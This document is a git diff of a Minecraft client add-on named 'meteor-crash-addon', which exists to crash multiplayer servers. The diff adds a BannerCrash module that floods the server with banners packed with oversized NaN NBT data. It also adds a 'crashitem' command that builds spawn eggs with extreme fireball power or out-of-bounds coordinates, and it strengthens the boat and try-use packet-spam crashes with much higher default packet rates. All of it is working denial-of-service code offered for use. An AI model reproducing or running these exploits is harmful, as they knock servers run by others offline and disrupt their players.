diff --git a/gradle.properties b/gradle.properties index b9191a2..983f175 100644 --- a/gradle.properties +++ b/gradle.properties @@ -7,6 +7,6 @@ loader_version=0.13.3 # Mod Properties -mod_version = 0.2 +mod_version = 0.5 maven_group = Wide-Cat archives_base_name = meteor-crash-addon diff --git a/src/main/java/widecat/meteorcrashaddon/CrashAddon.java b/src/main/java/widecat/meteorcrashaddon/CrashAddon.java index 9300b36..6f4a660 100644 --- a/src/main/java/widecat/meteorcrashaddon/CrashAddon.java +++ b/src/main/java/widecat/meteorcrashaddon/CrashAddon.java @@ -11,6 +11,7 @@ import meteordevelopment.meteorclient.addons.GithubRepo; import meteordevelopment.meteorclient.addons.MeteorAddon; import meteordevelopment.meteorclient.MeteorClient; +import meteordevelopment.meteorclient.systems.commands.Commands; import meteordevelopment.meteorclient.systems.modules.Category; import meteordevelopment.meteorclient.systems.modules.Modules; @@ -18,6 +19,7 @@ import net.minecraft.item.Items; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import widecat.meteorcrashaddon.commands.CrashItemCommand; import widecat.meteorcrashaddon.modules.*; import java.lang.invoke.MethodHandles; @@ -33,6 +35,7 @@ public void onInitialize() { MeteorClient.EVENT_BUS.registerLambdaFactory("widecat.meteorcrashaddon", (lookupInMethod, klass) -> (MethodHandles.Lookup) lookupInMethod.invoke(null, klass, MethodHandles.lookup())); Modules.get().add(new AACCrash()); + Modules.get().add(new BannerCrash()); Modules.get().add(new BoatCrash()); Modules.get().add(new BookCrash()); Modules.get().add(new ContainerCrash()); @@ -47,6 +50,8 @@ public void onInitialize() { Modules.get().add(new TryUseCrash()); Modules.get().add(new NoComCrash()); Modules.get().add(new LecternCrash()); + + Commands.get().add(new CrashItemCommand()); } @Override diff --git a/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java b/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java new file mode 100644 index 0000000..d7a674d --- /dev/null +++ b/src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java @@ -0,0 +1,53 @@ +package widecat.meteorcrashaddon.commands; + +import com.mojang.brigadier.builder.LiteralArgumentBuilder; +import meteordevelopment.meteorclient.systems.commands.Command; +import net.minecraft.command.CommandSource; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.NbtDouble; +import net.minecraft.nbt.NbtList; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; + +import static com.mojang.brigadier.Command.SINGLE_SUCCESS; + +public class CrashItemCommand extends Command { + + public CrashItemCommand() { + super("crashitem", "Gives you crash items."); + } + + @Override + public void build(LiteralArgumentBuilder builder) { + builder.then(literal("CrashFireball").executes(ctx -> { + ItemStack CrashFireball = new ItemStack(Items.CAVE_SPIDER_SPAWN_EGG); + NbtCompound tag1 = new NbtCompound(); + NbtList power = new NbtList(); + power.add(NbtDouble.of(1.0E43)); + power.add(NbtDouble.of(0)); + power.add(NbtDouble.of(0)); + tag1.putString("id", "minecraft:small_fireball"); + tag1.put("power", power); + CrashFireball.setSubNbt("EntityTag", tag1); + CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball); + mc.getNetworkHandler().sendPacket(balls); + return SINGLE_SUCCESS; + })); + + builder.then(literal("OOBEgg").executes(ctx -> { + ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG); + NbtCompound tag2 = new NbtCompound(); + NbtList pos = new NbtList(); + pos.add(NbtDouble.of(2147483647)); + pos.add(NbtDouble.of(2147483647)); + pos.add(NbtDouble.of(2147483647)); + tag2.put("Pos", pos); + gato.setSubNbt("EntityTag", tag2); + CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato); + mc.getNetworkHandler().sendPacket(elgato); + return SINGLE_SUCCESS; + })); + + } +} diff --git a/src/main/java/widecat/meteorcrashaddon/modules/BannerCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/BannerCrash.java new file mode 100644 index 0000000..57b4d83 --- /dev/null +++ b/src/main/java/widecat/meteorcrashaddon/modules/BannerCrash.java @@ -0,0 +1,90 @@ +package widecat.meteorcrashaddon.modules; + +import meteordevelopment.meteorclient.events.game.GameLeftEvent; +import meteordevelopment.meteorclient.events.world.TickEvent; +import meteordevelopment.meteorclient.settings.*; +import meteordevelopment.meteorclient.systems.modules.Module; +import meteordevelopment.orbit.EventHandler; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; +import widecat.meteorcrashaddon.CrashAddon; + +public class BannerCrash extends Module { + private final SettingGroup sgGeneral = settings.getDefaultGroup(); + + private final Setting amount = sgGeneral.add(new IntSetting.Builder() + .name("amount") + .description("How many packets to send to the server per tick.") + .defaultValue(100) + .min(1) + .sliderMin(1) + .sliderMax(1000) + .build() + ); + + private final Setting size = sgGeneral.add(new IntSetting.Builder() + .name("banner-size") + .description("How big the banner should be.") + .defaultValue(30000) + .min(1) + .sliderMin(1) + .sliderMax(50000) + .build() + ); + + private final Setting slotMode = sgGeneral.add(new EnumSetting.Builder() + .name("creative-slot-mode") + .description("Which slot mode to use.") + .defaultValue(SlotMode.Hotbar) + .build() + ); + + private final Setting slots = sgGeneral.add(new IntSetting.Builder() + .name("slots") + .description("How many slots to use for the books.") + .defaultValue(1) + .min(1) + .sliderMin(1) + .sliderMax(36) + .visible(() -> slotMode.get() == SlotMode.FullInv) + .build() + ); + + private final Setting autoDisable = sgGeneral.add(new BoolSetting.Builder() + .name("auto-disable") + .description("Disables module on kick.") + .defaultValue(true) + .build() + ); + + public BannerCrash() { + super(CrashAddon.CATEGORY , "banner-crash", "Attempts to crash the server by spamming banners with massive NBT."); + } + + @EventHandler + private void onTick(TickEvent.Post event) { + for (int i = 0; i < amount.get(); i++) { + ItemStack stack = new ItemStack(Items.BLACK_BANNER); + NbtCompound tag = new NbtCompound(); + for (int ii = 0; ii < size.get(); ii++) tag.putDouble(String.valueOf(ii), Double.NaN); + stack.setNbt(tag); + if (slotMode.get() == SlotMode.FullInv) { + for (int ii = 9; ii < 9 + slots.get(); ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); //mc.interactionManager.clickCreativeStack(stack, ii); + } else if (slotMode.get() == SlotMode.Hotbar) { + for (int ii = 36; ii < 36 + 9; ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); // mc.interactionManager.clickCreativeStack(stack, ii); + } + } + } + + @EventHandler + private void onGameLeft(GameLeftEvent event) { + if (autoDisable.get()) toggle(); + } + + public enum SlotMode { + Hotbar, + FullInv + } +} diff --git a/src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java index 8f88a3a..2abaaa1 100644 --- a/src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java +++ b/src/main/java/widecat/meteorcrashaddon/modules/BoatCrash.java @@ -8,34 +8,43 @@ package widecat.meteorcrashaddon.modules; -/* -Ported from Cornos to Crash Addon by Wide_Cat -https://github.com/0x151/Cornos/blob/master/src/main/java/me/zeroX150/cornos/features/module/impl/exploit/crash/BoatCrash.java - */ - +import meteordevelopment.meteorclient.settings.*; +import widecat.meteorcrashaddon.CrashAddon; import meteordevelopment.meteorclient.events.game.GameLeftEvent; import meteordevelopment.meteorclient.events.world.PlaySoundEvent; import meteordevelopment.meteorclient.events.world.TickEvent; -import meteordevelopment.meteorclient.settings.BoolSetting; -import meteordevelopment.meteorclient.settings.IntSetting; -import meteordevelopment.meteorclient.settings.Setting; -import meteordevelopment.meteorclient.settings.SettingGroup; import meteordevelopment.meteorclient.systems.modules.Module; import meteordevelopment.orbit.EventHandler; import net.minecraft.entity.Entity; import net.minecraft.entity.vehicle.BoatEntity; import net.minecraft.network.packet.c2s.play.BoatPaddleStateC2SPacket; -import widecat.meteorcrashaddon.CrashAddon; +import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.Vec3d; + +import static widecat.meteorcrashaddon.modules.BoatCrash.Mode.Shit; public class BoatCrash extends Module { + public enum Mode { + Shit, + New + } + private final SettingGroup sgGeneral = settings.getDefaultGroup(); + private final Setting mode = sgGeneral.add(new EnumSetting.Builder() + .name("mode") + .description("Which crash method to use.") + .defaultValue(Mode.New) + .build() + ); + private final Setting amount = sgGeneral.add(new IntSetting.Builder() .name("amount") .description("How many packets to send to the server per tick.") - .defaultValue(100) - .min(1) - .sliderMax(1000) + .defaultValue(2000) + .min(1000) + .sliderMax(8000) .build() ); @@ -43,6 +52,7 @@ public class BoatCrash extends Module { .name("no-sound") .description("Blocks the noisy paddle sounds.") .defaultValue(false) + .visible(() -> mode.get() == Shit) .build() ); @@ -53,8 +63,6 @@ public class BoatCrash extends Module { .build() ); - private final BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true); - public BoatCrash() { super(CrashAddon.CATEGORY, "boat-crash", "Tries to crash the server when you are in a boat. (By 0x150)"); } @@ -67,9 +75,20 @@ private void onTick(TickEvent.Post event) { toggle(); return; } - - for (int i = 0; i < amount.get(); i++) { - mc.getNetworkHandler().sendPacket(PACKET); + if (mode.get() == Mode.Shit) { + BoatPaddleStateC2SPacket PACKET = new BoatPaddleStateC2SPacket(true, true); + for (int i = 0; i < amount.get(); i++) { + mc.getNetworkHandler().sendPacket(PACKET); + } + } else { + Entity vehicle = mc.player.getVehicle(); + BlockPos start = mc.player.getBlockPos(); + Vec3d end = new Vec3d(start.getX() + .5, start.getY() + 1, start.getZ() + .5); + vehicle.updatePosition(end.x, end.y - 1, end.z); + VehicleMoveC2SPacket PACKET2 = new VehicleMoveC2SPacket(vehicle); + for (int i = 0; i < amount.get(); i++) { + mc.getNetworkHandler().sendPacket(PACKET2); + } } } diff --git a/src/main/java/widecat/meteorcrashaddon/modules/TryUseCrash.java b/src/main/java/widecat/meteorcrashaddon/modules/TryUseCrash.java index c2be1d0..16208fd 100644 --- a/src/main/java/widecat/meteorcrashaddon/modules/TryUseCrash.java +++ b/src/main/java/widecat/meteorcrashaddon/modules/TryUseCrash.java @@ -35,9 +35,9 @@ public class TryUseCrash extends Module { private final Setting packets = sgGeneral.add(new IntSetting.Builder() .name("packets") .description("How many packets to send per tick.") - .defaultValue(38) - .min(1) - .sliderMax(100) + .defaultValue(1000) + .min(400) + .sliderMax(5000) .build() );